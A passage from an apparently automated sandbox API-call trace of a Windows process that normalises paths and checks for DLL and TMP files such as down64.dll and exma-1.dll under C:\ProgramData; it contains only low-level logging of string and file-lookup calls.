pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f1cc*="dmgd-4.dll") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x472c10*=0x0, psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x472c10*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0118.354] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 0x2f [0118.354] SysReAllocStringLen (in: pbstr=0x472da8*=0x0, psz="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", len=0x2f | out: pbstr=0x472da8*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x472dcc*=0x0, psz="device", len=0x6 | out: pbstr=0x472dcc*="device") returned 1 [0118.354] SysReAllocStringLen (in: pbstr=0x472dec*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472dec*="harddiskvolume1") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x472df8*=0x0, psz="programdata", len=0xb | out: pbstr=0x472df8*="programdata") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x472e04*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472e04*="dmgd-4.dll") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\dmgd-4.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="dmgd-4.dll", len=0xa | out: pbstr=0x28f1c0*="dmgd-4.dll") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 1 [0118.355] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 0x2c [0118.355] SysReAllocStringLen (in: pbstr=0x472e14*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\", len=0x2c | out: pbstr=0x472e14*="\\device\\harddiskvolume1\\progra~3\\dmgd-4.dll\\") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x472e38*=0x0, psz="device", len=0x6 | out: pbstr=0x472e38*="device") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x472e58*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x472e58*="harddiskvolume1") returned 1 [0118.355] SysReAllocStringLen (in: pbstr=0x472e64*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x472e64*="progra~3") returned 1 [0118.356] SysReAllocStringLen (in: pbstr=0x472e70*=0x0, psz="dmgd-4.dll", len=0xa | out: pbstr=0x472e70*="dmgd-4.dll") returned 1 [0118.356] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.356] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.356] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.356] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x28f23c*="down64.dll") returned 1 [0118.356] CharLowerBuffW (in: lpsz="down64.dll", cchLength=0xa | out: lpsz="down64.dll") returned 0xa [0118.356] SysReAllocStringLen (in: pbstr=0x28f240*="down64.dll", psz="down64.dll", len=0xa | out: pbstr=0x28f240*="down64.dll") returned 1 [0118.356] SysReAllocStringLen (in: pbstr=0x472ec8*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x472ec8*="down64.dll") returned 1 [0118.356] SysReAllocStringLen (in: pbstr=0x472ecc*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x472ecc*="down64.dll") returned 1 [0118.356] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.356] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0118.356] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0118.356] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.356] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.356] GetLastError () returned 0x12 [0118.356] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.357] FindFirstFileW (in: lpFileName="c:\\ProgramData\\down64.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x3b086700, ftLastWriteTime.dwHighDateTime=0x1d5c699, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="down64.dll", cAlternateFileName="")) returned 0x7632b0 [0118.357] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.357] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.357] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.357] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\down64.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\down64.dll") returned 1 [0118.357] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\down64.dll", psz="c:\\ProgramData\\down64.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\down64.dll\\") returned 1 [0118.357] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\down64.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\down64.dll\\") returned 1 [0118.357] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\down64.dll\\", psz="c:\\ProgramData\\down64.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\down64.dll") returned 1 [0118.358] CharLowerBuffW (in: lpsz="c:\\ProgramData\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0118.358] SysReAllocStringLen (in: pbstr=0x472fac*=0x0, psz="c:\\programdata\\down64.dll", len=0x19 | out: pbstr=0x472fac*="c:\\programdata\\down64.dll") returned 1 [0118.358] SysReAllocStringLen (in: pbstr=0x472fb0*=0x0, psz="c:", len=0x2 | out: pbstr=0x472fb0*="c:") returned 1 [0118.358] SysReAllocStringLen (in: pbstr=0x472fd0*=0x0, psz="programdata", len=0xb | out: pbstr=0x472fd0*="programdata") returned 1 [0118.359] SysReAllocStringLen (in: pbstr=0x472ff0*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x472ff0*="down64.dll") returned 1 [0118.359] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.359] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.359] CharLowerBuffW (in: lpsz="c:\\programdata\\down64.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\down64.dll") returned 0x19 [0118.360] SysReAllocStringLen (in: pbstr=0x460c48*=0x0, psz="c:\\programdata\\down64.dll", len=0x19 | out: pbstr=0x460c48*="c:\\programdata\\down64.dll") returned 1 [0118.360] SysReAllocStringLen (in: pbstr=0x460c4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x460c4c*="c:") returned 1 [0118.360] SysReAllocStringLen (in: pbstr=0x460c6c*=0x0, psz="programdata", len=0xb | out: pbstr=0x460c6c*="programdata") returned 1 [0118.360] SysReAllocStringLen (in: pbstr=0x460c8c*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x460c8c*="down64.dll") returned 1 [0118.361] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllawr45w", lpUsedDefaultChar=0x0) returned 11 [0118.361] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0118.361] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.361] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.361] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.374] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.374] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.374] GetLastError () returned 0x12 [0118.374] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.374] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.374] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.374] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="down64.dll", len=0xa | out: pbstr=0x28ef0c*="down64.dll") returned 1 [0118.374] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\down64.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13c026a0, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13c026a0, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x3b086700, ftLastWriteTime.dwHighDateTime=0x1d5c699, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="down64.dll", cAlternateFileName="")) returned 0x7632b0 [0118.375] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.375] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.375] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.375] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\down64.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\down64.dll") returned 1 [0118.375] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\down64.dll", psz="c:\\PROGRA~3\\down64.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\down64.dll\\") returned 1 [0118.375] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\down64.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\down64.dll\\") returned 1 [0118.375] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\down64.dll\\", psz="c:\\PROGRA~3\\down64.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\down64.dll") returned 1 [0118.376] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\down64.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\down64.dll") returned 0x16 [0118.376] SysReAllocStringLen (in: pbstr=0x460c48*=0x0, psz="c:\\progra~3\\down64.dll", len=0x16 | out: pbstr=0x460c48*="c:\\progra~3\\down64.dll") returned 1 [0118.376] SysReAllocStringLen (in: pbstr=0x460c4c*=0x0, psz="c:", len=0x2 | out: pbstr=0x460c4c*="c:") returned 1 [0118.376] SysReAllocStringLen (in: pbstr=0x460c6c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x460c6c*="progra~3") returned 1 [0118.376] SysReAllocStringLen (in: pbstr=0x460c8c*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x460c8c*="down64.dll") returned 1 [0118.376] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.376] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.376] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x460cb4, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB5637A.TMP⍔vバt☘E\x18") returned 12 [0118.377] CharLowerBuffW (in: lpsz="EVB5637A.TMP", cchLength=0xc | out: lpsz="evb5637a.tmp") returned 0xc [0118.377] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.377] FindFirstFileW (in: lpFileName="c:\\programdata\\evb5637a.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x3b086700, ftCreationTime.dwHighDateTime=0x1d5c699, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x1400, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6f0064, nFileSizeLow=0x6e0077, dwReserved0=0x340036, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.377] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.377] SysReAllocStringLen (in: pbstr=0x28f258*="evb5637a.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="down64.dll", len=0xa | out: pbstr=0x28f1cc*="down64.dll") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\down64.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\down64.dll") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\down64.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\down64.dll\\") returned 1 [0118.377] SysReAllocStringLen (in: pbstr=0x472eec*=0x0, psz="\\device\\harddiskvolume1\\programdata\\down64.dll\\", len=0x2f | out: pbstr=0x472eec*="\\device\\harddiskvolume1\\programdata\\down64.dll\\") returned 1 [0118.378] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\down64.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\down64.dll\\") returned 0x2f [0118.378] SysReAllocStringLen (in: pbstr=0x460ccc*=0x0, psz="\\device\\harddiskvolume1\\programdata\\down64.dll\\", len=0x2f | out: pbstr=0x460ccc*="\\device\\harddiskvolume1\\programdata\\down64.dll\\") returned 1 [0118.378] SysReAllocStringLen (in: pbstr=0x460cf0*=0x0, psz="device", len=0x6 | out: pbstr=0x460cf0*="device") returned 1 [0118.378] SysReAllocStringLen (in: pbstr=0x460d10*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x460d10*="harddiskvolume1") returned 1 [0118.378] SysReAllocStringLen (in: pbstr=0x460d1c*=0x0, psz="programdata", len=0xb | out: pbstr=0x460d1c*="programdata") returned 1 [0118.378] SysReAllocStringLen (in: pbstr=0x460d28*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x460d28*="down64.dll") returned 1 [0118.378] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.378] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.378] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.378] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.379] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\down64.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="down64.dll", len=0xa | out: pbstr=0x28f1c0*="down64.dll") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\down64.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\down64.dll") returned 1 [0118.379] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\", len=0x2c | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\down64.dll\\") returned 1 [0118.379] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\") returned 0x2c [0118.379] SysReAllocStringLen (in: pbstr=0x460d38*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\down64.dll\\", len=0x2c | out: pbstr=0x460d38*="\\device\\harddiskvolume1\\progra~3\\down64.dll\\") returned 1 [0118.380] SysReAllocStringLen (in: pbstr=0x460d5c*=0x0, psz="device", len=0x6 | out: pbstr=0x460d5c*="device") returned 1 [0118.380] SysReAllocStringLen (in: pbstr=0x460d7c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x460d7c*="harddiskvolume1") returned 1 [0118.380] SysReAllocStringLen (in: pbstr=0x460d88*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x460d88*="progra~3") returned 1 [0118.380] SysReAllocStringLen (in: pbstr=0x460d94*=0x0, psz="down64.dll", len=0xa | out: pbstr=0x460d94*="down64.dll") returned 1 [0118.380] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0118.380] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.380] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.380] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="down64.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="down64.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0118.380] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.380] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.380] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.381] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x28f23c*="exma-1.dll") returned 1 [0118.381] CharLowerBuffW (in: lpsz="exma-1.dll", cchLength=0xa | out: lpsz="exma-1.dll") returned 0xa [0118.381] SysReAllocStringLen (in: pbstr=0x28f240*="exma-1.dll", psz="exma-1.dll", len=0xa | out: pbstr=0x28f240*="exma-1.dll") returned 1 [0118.381] SysReAllocStringLen (in: pbstr=0x460dec*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460dec*="exma-1.dll") returned 1 [0118.381] SysReAllocStringLen (in: pbstr=0x460df0*=0x0, psz="exma-1.dll", len=0xa | out: pbstr=0x460df0*="exma-1.dll") returned 1 [0118.381] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.382] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: 